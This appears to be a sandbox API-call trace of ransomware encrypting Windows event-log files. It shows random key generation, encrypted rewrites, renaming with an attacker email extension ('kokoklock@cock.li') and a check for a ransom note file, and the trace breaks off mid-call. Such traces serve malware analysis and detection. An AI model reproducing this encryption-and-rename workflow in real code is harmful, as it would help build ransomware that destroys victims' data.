1 [0063.275] WriteFile (in: hFile=0x3b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9faf9dc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x9faf9dc*=0x6c, lpOverlapped=0x0) returned 1 [0063.275] WriteFile (in: hFile=0x3b8, lpBuffer=0x347d000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9faf9dc, lpOverlapped=0x0 | out: lpBuffer=0x347d000*, lpNumberOfBytesWritten=0x9faf9dc*=0x20, lpOverlapped=0x0) returned 1 [0063.275] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9faf9dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x9faf9dc*=0x4, lpOverlapped=0x0) returned 1 [0063.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cee8) returned 1 [0063.275] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf10) returned 1 [0063.275] CloseHandle (hObject=0x3b8) returned 1 [0063.280] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x33ca4f8 [0063.280] wcscpy (in: _Dest=0x33ca4f8, _Source="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" [0063.280] wcscat (in: _Dest=0x33ca4f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0063.280] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.280] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.281] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca4f8) returned 1 [0063.281] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0063.281] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34340a8 [0063.281] wcscpy (in: _Dest=0x34340a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.281] wcscat (in: _Dest=0x34340a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.281] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.281] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34340a8) returned 1 [0063.281] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0063.281] RtlExitUserThread (Status=0x1) Thread: id = 168 os_tid = 0x1118 [0063.282] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0063.282] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx", dwFileAttributes=0x20) returned 1 [0063.283] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0063.283] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0xa02fd48 | out: lpFileSize=0xa02fd48*=69632) returned 1 [0063.283] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.283] ReadFile (in: hFile=0x3b8, lpBuffer=0xa02fd1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa02fd18, lpOverlapped=0x0 | out: lpBuffer=0xa02fd1c*, lpNumberOfBytesRead=0xa02fd18*=0x4, lpOverlapped=0x0) returned 1 [0063.284] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.284] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.284] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cee8 [0063.284] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf10 [0063.284] NtQuerySystemTime (in: CurrentTime=0xa02fcf4 | out: CurrentTime=0xa02fcf4*=132121176211746428) returned 0x0 [0063.284] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0xdfb579ff [0063.284] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x1afca09d [0063.284] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x6c3d3106 [0063.284] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0xc10bbfe2 [0063.284] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0xa06c0ffb [0063.284] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0xd12c785b [0063.284] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0xcc2c7d7e [0063.284] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x9a0853ad [0063.284] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x7db71641 [0063.284] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x1912a29d [0063.284] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0xab535a7f [0063.284] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x1174835f [0063.284] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0xb6c6f545 [0063.284] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x7f754b57 [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x4ea81ab2 [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x8da8c6e0 [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0xfad75ae9 [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x8925b771 [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x8fc3619d [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0xd2512d42 [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x8a14fe79 [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x96c2be [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x204a0b9c [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x3f651036 [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x651f534c [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x8a17da77 [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0xe7bed229 [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x1f7ce0db [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x5bf5b417 [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0x7e1dccce [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0xfa9f2ae1 [0063.285] RtlRandom (in: Seed=0xa02fd00 | out: Seed=0xa02fd00) returned 0xf58ecd06 [0063.294] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf38 [0063.296] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.296] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf60 [0063.296] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.296] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.296] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.296] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.296] ReadFile (in: hFile=0x3b8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa02fccc, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xa02fccc*=0x4096, lpOverlapped=0x0) returned 1 [0063.297] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.297] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0063.297] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.297] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf88 [0063.297] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf88) returned 1 [0063.297] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.297] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf88 [0063.297] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.297] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.297] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.297] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0063.297] WriteFile (in: hFile=0x3b8, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa02fccc, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0xa02fccc*=0x4096, lpOverlapped=0x0) returned 1 [0063.298] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.298] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.298] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cf88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa02fd04, lpOverlapped=0x0 | out: lpBuffer=0x347cf88*, lpNumberOfBytesWritten=0xa02fd04*=0x20, lpOverlapped=0x0) returned 1 [0063.298] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf88) returned 1 [0063.298] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.298] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cf60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa02fd18, lpOverlapped=0x0 | out: lpBuffer=0x347cf60*, lpNumberOfBytesWritten=0xa02fd18*=0x8, lpOverlapped=0x0) returned 1 [0063.298] WriteFile (in: hFile=0x3b8, lpBuffer=0xa02fd30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa02fd18, lpOverlapped=0x0 | out: lpBuffer=0xa02fd30*, lpNumberOfBytesWritten=0xa02fd18*=0x4, lpOverlapped=0x0) returned 1 [0063.298] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa02fd18, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa02fd18*=0x4, lpOverlapped=0x0) returned 1 [0063.298] WriteFile (in: hFile=0x3b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa02fd18, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa02fd18*=0x6c, lpOverlapped=0x0) returned 1 [0063.298] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cee8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa02fd18, lpOverlapped=0x0 | out: lpBuffer=0x347cee8*, lpNumberOfBytesWritten=0xa02fd18*=0x20, lpOverlapped=0x0) returned 1 [0063.298] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa02fd18, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa02fd18*=0x4, lpOverlapped=0x0) returned 1 [0063.299] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cee8) returned 1 [0063.299] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf38) returned 1 [0063.299] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf60) returned 1 [0063.299] CloseHandle (hObject=0x3b8) returned 1 [0063.301] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x33ca4f8 [0063.301] wcscpy (in: _Dest=0x33ca4f8, _Source="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" [0063.301] wcscat (in: _Dest=0x33ca4f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" [0063.302] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.302] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.302] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca4f8) returned 1 [0063.302] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx", dwFileAttributes=0x20) returned 0 [0063.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34340a8 [0063.303] wcscpy (in: _Dest=0x34340a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.303] wcscat (in: _Dest=0x34340a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.303] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34340a8) returned 1 [0063.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0063.303] RtlExitUserThread (Status=0x1) Thread: id = 169 os_tid = 0x111c [0063.304] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0063.304] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.304] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0063.304] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0xa0afa8c | out: lpFileSize=0xa0afa8c*=69632) returned 1 [0063.304] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.304] ReadFile (in: hFile=0x3b8, lpBuffer=0xa0afa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa0afa5c, lpOverlapped=0x0 | out: lpBuffer=0xa0afa60*, lpNumberOfBytesRead=0xa0afa5c*=0x4, lpOverlapped=0x0) returned 1 [0063.306] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.306] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.306] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cee8 [0063.306] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf38 [0063.306] NtQuerySystemTime (in: CurrentTime=0xa0afa38 | out: CurrentTime=0xa0afa38*=132121176212058964) returned 0x0 [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0xacadd587 [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0xe8639257 [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x3d81044d [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0xdf7d9f99 [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x5c7d300f [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x73169c4d [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0xe9a6bbc9 [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x7a96a682 [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0xc0e7a76e [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0xd1e24397 [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x3cc9d334 [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x6350f886 [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x6fb45729 [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0xbcb81643 [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0xead2517 [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x2911014e [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x16670d80 [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0xf3ef93f3 [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x92e51ddb [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x649f3146 [0063.306] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0xc8fa5e0d [0063.307] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x265d515b [0063.307] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x630755bf [0063.307] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x375c44c1 [0063.307] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0xac096c47 [0063.307] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0xe7d78362 [0063.307] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x3689596 [0063.307] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x5acb28df [0063.307] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x858c35f4 [0063.307] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x82fe5110 [0063.307] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0x58ca8374 [0063.307] RtlRandom (in: Seed=0xa0afa44 | out: Seed=0xa0afa44) returned 0xcca00e20 [0063.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf60 [0063.317] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.317] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf88 [0063.317] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.317] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.317] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.317] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.318] ReadFile (in: hFile=0x3b8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa0afa10, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xa0afa10*=0x4096, lpOverlapped=0x0) returned 1 [0063.318] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.318] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0063.318] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0063.318] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfb0 [0063.318] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfb0) returned 1 [0063.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfb0 [0063.319] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfd8 [0063.319] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfd8) returned 1 [0063.319] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0063.319] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0063.319] WriteFile (in: hFile=0x3b8, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa0afa10, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0xa0afa10*=0x4096, lpOverlapped=0x0) returned 1 [0063.319] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.319] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.319] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cfb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa0afa48, lpOverlapped=0x0 | out: lpBuffer=0x347cfb0*, lpNumberOfBytesWritten=0xa0afa48*=0x20, lpOverlapped=0x0) returned 1 [0063.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfb0) returned 1 [0063.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.320] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cf88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa0afa5c, lpOverlapped=0x0 | out: lpBuffer=0x347cf88*, lpNumberOfBytesWritten=0xa0afa5c*=0x8, lpOverlapped=0x0) returned 1 [0063.320] WriteFile (in: hFile=0x3b8, lpBuffer=0xa0afa74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa0afa5c, lpOverlapped=0x0 | out: lpBuffer=0xa0afa74*, lpNumberOfBytesWritten=0xa0afa5c*=0x4, lpOverlapped=0x0) returned 1 [0063.320] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa0afa5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa0afa5c*=0x4, lpOverlapped=0x0) returned 1 [0063.320] WriteFile (in: hFile=0x3b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa0afa5c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa0afa5c*=0x6c, lpOverlapped=0x0) returned 1 [0063.320] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cee8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa0afa5c, lpOverlapped=0x0 | out: lpBuffer=0x347cee8*, lpNumberOfBytesWritten=0xa0afa5c*=0x20, lpOverlapped=0x0) returned 1 [0063.320] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa0afa5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa0afa5c*=0x4, lpOverlapped=0x0) returned 1 [0063.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cee8) returned 1 [0063.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf60) returned 1 [0063.320] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf88) returned 1 [0063.320] CloseHandle (hObject=0x3b8) returned 1 [0063.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x33e3818 [0063.323] wcscpy (in: _Dest=0x33e3818, _Source="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" [0063.323] wcscat (in: _Dest=0x33e3818, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0063.323] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), 